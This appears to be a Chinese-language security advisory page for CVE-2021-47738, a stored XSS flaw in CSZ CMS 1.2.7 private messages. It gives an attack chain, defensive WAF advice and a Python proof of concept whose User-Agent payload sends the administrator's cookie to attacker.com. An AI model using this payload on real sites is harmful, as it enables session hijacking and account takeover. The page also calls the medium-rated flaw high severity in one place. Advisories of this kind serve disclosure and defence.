IPBUF安全漏洞报告
English
CVE-2021-47738 CVSS 5.4 中危

CVE-2021-47738 CSZ CMS 1.2.7 私信功能存储型XSS漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47738
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CSZ CMS

相关标签

CVE-2021-47738存储型XSSCSZ CMS跨站脚本私信功能User-Agent注入会话劫持CVE-2021中等严重性Web应用安全

漏洞概述

CVE-2021-47738是CSZ CMS 1.2.7版本中存在的一个高危安全漏洞,攻击者可利用私信功能模块注入恶意JavaScript代码。该漏洞属于存储型跨站脚本(Stored XSS)漏洞,攻击者通过在User-Agent HTTP头中植入恶意脚本载荷,系统未对其进行充分的输入验证和输出编码,导致恶意代码被永久存储在数据库中。当管理员在后台管理界面查看相关消息时,存储的恶意脚本会自动执行,可能导致管理员会话被劫持、敏感信息泄露或进一步的横向移动攻击。此漏洞需要低权限用户即可发起,且攻击复杂度较低,对系统的机密性和完整性造成一定威胁。

技术细节

该漏洞源于CSZ CMS 1.2.7的私信功能模块对用户输入(包括HTTP头中的User-Agent字段)缺乏严格的输入验证。当用户发送私信时,系统直接将User-Agent头的内容存储到数据库,而未进行HTML实体编码或输入过滤。攻击者可以构造包含<script>标签或事件处理器(如onerror、onload等)的恶意载荷。存储的恶意脚本会在管理员访问消息管理页面时被浏览器解析执行,成功绕过了同源策略限制。攻击者可通过此方式窃取管理员的Cookie/Session信息、修改后台内容或执行其他管理员操作。漏洞的利用不需要任何特殊权限,普通注册用户即可实施攻击。

攻击链分析

STEP 1
步骤1
攻击者注册CSZ CMS账号并登录系统
STEP 2
步骤2
攻击者构造包含XSS载荷的HTTP请求,在User-Agent头中注入恶意JavaScript代码
STEP 3
步骤3
攻击者通过私信功能向管理员账户发送消息,恶意脚本随User-Agent字段被存储到数据库
STEP 4
步骤4
管理员登录后台管理界面,访问消息管理或查看私信功能
STEP 5
步骤5
页面渲染时,未经过滤的恶意脚本被执行,窃取管理员Cookie/Session或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47738 PoC - CSZ CMS Stored XSS via Private Messaging # This PoC demonstrates how to inject malicious JavaScript through User-Agent header import requests import json target_url = "http://target-server/cszcms" login_url = f"{target_url}/login" message_url = f"{target_url}/message/send" # Step 1: Login to CSZ CMS session = requests.Session() login_data = { "username": "attacker_user", "password": "attacker_password" } session.post(login_url, data=login_data) # Step 2: Send private message with XSS payload in User-Agent header xss_payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" headers = { "User-Agent": xss_payload } message_data = { "to_user": "admin", "subject": "Test Message", "message": "Please check this message." } response = session.post(message_url, data=message_data, headers=headers) # Step 3: When admin views the message, XSS will be executed print("XSS payload sent successfully via User-Agent header") print("Payload:", xss_payload) print("Wait for admin to view message in backend dashboard")

影响范围

CSZ CMS 1.2.7

防御指南

临时缓解措施
在官方补丁发布前,可通过配置Web应用防火墙(WAF)规则过滤User-Agent中的危险字符(如<script>、<iframe>、javascript:等),同时对私信功能模块的输出点实施临时输出编码。建议管理员在查看可疑消息时使用独立的浏览器会话或禁用JavaScript以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表